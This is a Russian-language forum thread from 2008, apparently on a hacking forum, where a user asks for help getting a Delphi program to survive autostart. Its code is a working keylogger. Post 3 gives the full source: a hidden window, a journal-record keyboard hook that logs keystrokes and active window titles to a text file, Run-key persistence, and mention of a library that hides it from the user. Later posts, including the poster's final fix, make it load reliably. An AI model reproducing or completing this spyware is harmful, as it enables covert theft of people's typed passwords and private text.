Проблема с загрузкой dll при автозапуске [delphi]

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Dr.KoD, 26 Mar 2008.

  1. Dr.KoD

    Dr.KoD Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    68
    Likes Received:
    22
    Reputations:
    1
    Вознила проблема такого плана: файл загрузчик библиотеки dll прописан в автозапуске винды, при обычном запуске все протекает нормально программа подключает dll, но вот при автозапуске(после перезагрузки или выключения ПК) файл незагружает dll или загружает, но функции библиотеки непашут. Библиотека находится в той же папке, что и программа загрузчик, атозапуск осуществляется через реестр вот отсюда: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
    Подскажите как решить данную проблему.
    Код подключения к dll:
    Code:
    function FookKB: Longint;stdcall; external 'bbl.dll' name 'InstallHook';
    function UnFookKB: Longint;stdcall; external 'bbl.dll' name 'RemoveHook';
    Сама dll:
    Code:
    var
      Hk: HHook;
    function Proc(nCode: Integer; wParam, lParam: Integer): Integer; stdcall;
      function MainWnd: HWnd;
      begin
        Result := FindWindow( nil, 'Hook' );
      end;
    
    var K: HKL;
    begin
      if nCode >= 0 then
      begin
        case nCode of
        HSHELL_WINDOWACTIVATED,
        HSHELL_LANGUAGE:
          begin
            K:=GetKeyboardLayout(0);
            SendMessage( MainWnd, $0400 + 2, wParam, k );
    
          end;
        end;
      end;
      Result := CallNextHookEx( Hk, nCode, wParam, lParam);
    end;
    
    procedure InstallHook;
    begin
      Hk := SetWindowsHookEx( WH_SHELL, @Proc, Hinstance, 0 );
    end;
    
    procedure RemoveHook;
    begin
      UnhookWindowsHookEx( Hk );
    end;
    
    exports InstallHook, RemoveHook;
    
     
    #1 Dr.KoD, 26 Mar 2008
    Last edited: 26 Mar 2008
  2. GlOFF

    GlOFF Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    689
    Likes Received:
    484
    Reputations:
    4
    Dr.KoD Нужно ещё код загрузчика для полноты дела :)
    А так при запуске загрузчика системой. Самаже система анализирует експорт в твоем загрузчике и пытается найти dll в ПатчДиректориях... Может беда с путями?
     
  3. Dr.KoD

    Dr.KoD Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    68
    Likes Received:
    22
    Reputations:
    1
    Вот собсна загрузчик, но о каких путях может идти реч если все находится в одной папке, хотя делал и так чтобы грузилась из текущей директории притом сбда еще я прицепляю библеотеку, которая прячет всю эту байду от глаз юзверя как ни странно, но она загружается, а вот эта нехочет никаким образом:
    Code:
    const
      WinTitle='Hook';
      {$EXTERNALSYM WM_DESTROY}
      WM_DESTROY   =  $0002;
      {$EXTERNALSYM WM_USER}
      WM_USER   = $0400;
    
    var
      Handle : HWND;
      WinClass: TWndClass;
      Msg: TMsg;
      LangInt:integer;
      OLDwnd , NEWwnd: string;
      h : hhook;
      LogFile: string;
    
    
    function FookKB: Longint;stdcall; external 'bbl.dll' name 'InstallHook';
    function UnFookKB: Longint;stdcall; external 'bbl.dll' name 'RemoveHook';
    
    function AnsiUpperCase(const S: string): string;
    var
      Len: Integer;
    begin
      Len := Length(S);
      SetString(Result, PChar(S), Len);
      if Len > 0 then CharUpperBuff(Pointer(Result), Len);
    end;
    function AnsiLowerCase(const S: string): string;
    var
      Len: Integer;
    begin
      Len := Length(S);
      SetString(Result, PChar(S), Len);
      if Len > 0 then CharLowerBuff(Pointer(Result), Len);
    end;
    
    function FileExists( const FileName : String ) : Boolean;
    var
      Code: Integer;
    begin
      Code := GetFileAttributes(PChar(FileName));
      Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0);
    end;
    
    Function GetDateTime:string;
     var
      DT       : TSystemTime;
      Date,Time: array[0..32]of char;
    begin
        GetLocalTime(DT);
        GetDateFormat(LOCALE_USER_DEFAULT,0,@DT,nil,Date,sizeOf(Date));
        GetTimeFormat(LOCALE_USER_DEFAULT,0,@DT,nil,Time,sizeOf(Time));
        Result:= date + ' | ' + time;
    
    end;
    
    procedure WriteToTxt(fname,text: string);
    var
      F: File;
      buf: array[0..2500] of Char;
      I : integer;
    begin
        AssignFile(F, fname);
        If not FileExists(fname) then
        Rewrite(f);
    
        Reset(f,1);
        Seek(F, system.filesize(F) );
        for i:=1 to length(text) do buf[i-1]:=text[i];
        BlockWrite(F, buf, length(text));
        CloseFile(F);
    end;
    
    
    Function X_ScanKey(Key:AnsiString;
                       Lay:integer;
                       Ch,sh:boolean
                       ):string;
    begin
      result:=key;
      key:= AnsiLowerCase(key);
    
            if length(key)>1 then
            begin
            if key='space' then key:=' ' else
            if key='enter' then key:=#13#10 else
            Key:='{'+key+'}';
            result:=key;
            exit;
            end;
    
      if Lay = 1 then
                      begin
    
      if sh then begin
      if key =  '`' then key:= '~';
    // чуток обрезал для экономии места в посте
      if key =  '/' then key:='?';
      end;
    
                    end else  if Lay = 2
                     then
                          begin
     if key = '/'  then key:='.';
     if key = '`' then key:='ё';
     if key = 'q' then key:='й';
    // чуток обрезал для экономии места в посте
     if key = '.'  then key:='ю';
    
      if sh then begin
                if key = '\' then key:='/';
    // чуток обрезал для экономии места в посте
                if key = '.' then key:=',';
             end;
    
        end;
    
      if ch then Result:=AnsiUpperCase(key) else Result:=AnsiLowerCase(key);
    end;
    
    Procedure Proc(code:integer; wParam:WPARAM;lParam:LPARAM );{:lresult;}stdcall;
    
       function AC:string;
       var
       Handle:THandle;
       Len:LongInt;
       Title:string;
       begin
         Handle:=GetForegroundWindow;
         Len:=GetWindowTextLength(Handle) + 1;
         SetLength(Title,Len);
         GetWindowText(Handle,PChar(Title),Len);
         AC:=(Title);
       end;
    
      function IsCapsLockPressed:boolean;
        var KeyState  : TKeyboardState;
    
          function State(Ctrl : Word) : boolean;
          begin Result:=((KeyState[ctrl] and 1)=1); end;
    
       begin
          Result:=false;
           if GetKeyboardState(KeyState)=False then exit;
            Result:=State(vk_Capital);
       end;
    
       Function IsShiftPressed:boolean;
       begin
           if GetKeyState(VK_SHIFT) < 0 then result:=true else result:=false;
       end;
    
        function xLng(hHn:THandle):integer;
        begin
          xLng:=1;
          if (hHn and $FF) = 9 then  xLng:=1
          else if (hHn = $419) then  xLng:=2;
        end;
    
    var
     c:array[0..255] of char;
     nScan:integer;
     iSuPPer:boolean;
    begin
    
       if  ( (code>=0)and(teventmsg(pointer(lparam)^).message=$0100) )
        or   ( (code>=0) and (teventmsg(pointer(lparam)^).message=$0104) )
         then
           begin
             nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
             nscan:=nscan shl 16;
             GetKeyNameText(nScan,c,256);
    
             if (IsCapsLockPressed and IsShiftPressed)  then iSuPPer:=False else
             if (IsCapsLockPressed or IsShiftPressed) then iSuPPer:=True else iSuPPer:=false;
    
             NEWwnd := AC;
             if OLDwnd <> NEWwnd then
             begin
               OLDwnd := NEWwnd;
               WriteToTxt(LogFile,'[ '+OLDwnd+' ]  Time: ' + GetDateTime  + #13#10);
             end;
    
               WRiteToTxt(LogFile, X_ScanKey(c,LangInt,iSuPPer,IsShiftPressed) );
           end;
    end;
    
    function WndProc(hnd, wmsg, wparam, lparam: integer): LongInt; stdcall;
    
        function xLng(hHn:THandle):integer;
        begin
          xLng:=1;
          if (hHn and $FF) = 9 then  xLng:=1
          else if (hHn = $419) then  xLng:=2;
        end;
    
    begin
    
      case Wmsg of
    
         WM_USER+1, WM_USER+2:
          begin
            LangInt :=  xLng ( LOWORD( lParam ) ) ;
          end;
    
        WM_DESTROY:
        begin
           unhookwindowshookex(h);
           UnFookKB;
           ExitProcess(hnd);
        end;
      end;
       Result:=DefWindowProc(hnd, wmsg, wparam, lparam);
    end;
    
    Procedure AppOn;
    begin
    GetStart;
    ParamStr(0);
      with WinClass do
        begin
          lpszClassName:=WinTitle;
          lpfnWndProc:=@WndProc;
          cbClsExtra:=0;
          cbWndExtra:=0;
          hInstance:=hInstance;
          style:=CS_HREDRAW+CS_VREDRAW+CS_DBLCLKS;
          hbrBackground:=COLOR_WINDOW;
        end;
      RegisterClass(WinClass); 
    Handle:=CreateWindowEx(WS_EX_WINDOWEDGE, WinTitle, WinTitle, WS_SYSMENU, integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 0, 0, 0, 0, hInstance, nil);
    end;
    
    begin
    AppOn;
    ShowWindow(Handle, SW_HIDE);
    FookKB;
    h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
      LogFile:= 'file.txt';
      while GetMessage(Msg, 0, 0, 0) do
        begin
          TranslateMessage(Msg);
          DispatchMessage(Msg);
        end;
    end.
     
  4. GlOFF

    GlOFF Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    689
    Likes Received:
    484
    Reputations:
    4
    Если все в одной папке, то гуд! :)))
    Попробуй отцепить байду, которая прячет все... А только работай с либой, с которой щас проблемы...

    P.s. пенч. не умею. :)
     
  5. Dr.KoD

    Dr.KoD Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    68
    Likes Received:
    22
    Reputations:
    1
    Да уже отцеплял, бестолку, непашет этот вариант.

    Неужели никто несталкивался с такой проблемой?
     
  6. Xserg

    Xserg Elder - Старейшина

    Joined:
    9 Dec 2006
    Messages:
    135
    Likes Received:
    127
    Reputations:
    53
    Dr.KoD а для чего тебе команда:?
    h=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
    Загрузчик у тебя тоже dll ?
     
  7. Dr.KoD

    Dr.KoD Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    68
    Likes Received:
    22
    Reputations:
    1
    Ну а ты попробуй убери этот кусочек и увидиш что будит.
     
    1 person likes this.
  8. Xserg

    Xserg Elder - Старейшина

    Joined:
    9 Dec 2006
    Messages:
    135
    Likes Received:
    127
    Reputations:
    53
    Добавь
    Code:
    function InstallHook:dword;
    begin
      Hk := SetWindowsHookEx( WH_SHELL, @Proc, Hinstance, 0 );
     Return:=Hk;
    end;
    --------------
    X:=FookKB;

    И посмотри чему равен X в обоих случаях.
     
  9. Dr.KoD

    Dr.KoD Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    68
    Likes Received:
    22
    Reputations:
    1
    Может Result:=Hk, а то некомпилится, а так и это пробовал, но положение неменяется.
    Пир обычном запуске все пашет, а вот при автозагрузке нехочет.
     
    1 person likes this.
  10. Dr.KoD

    Dr.KoD Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    68
    Likes Received:
    22
    Reputations:
    1
    Кароч все сделал, оказалось все просто до безобразия, в самом конце dll добавляем:

    Code:
    begin
    InstallHook;
    end.
    И после этого все грузится замечательно.
     
    1 person likes this.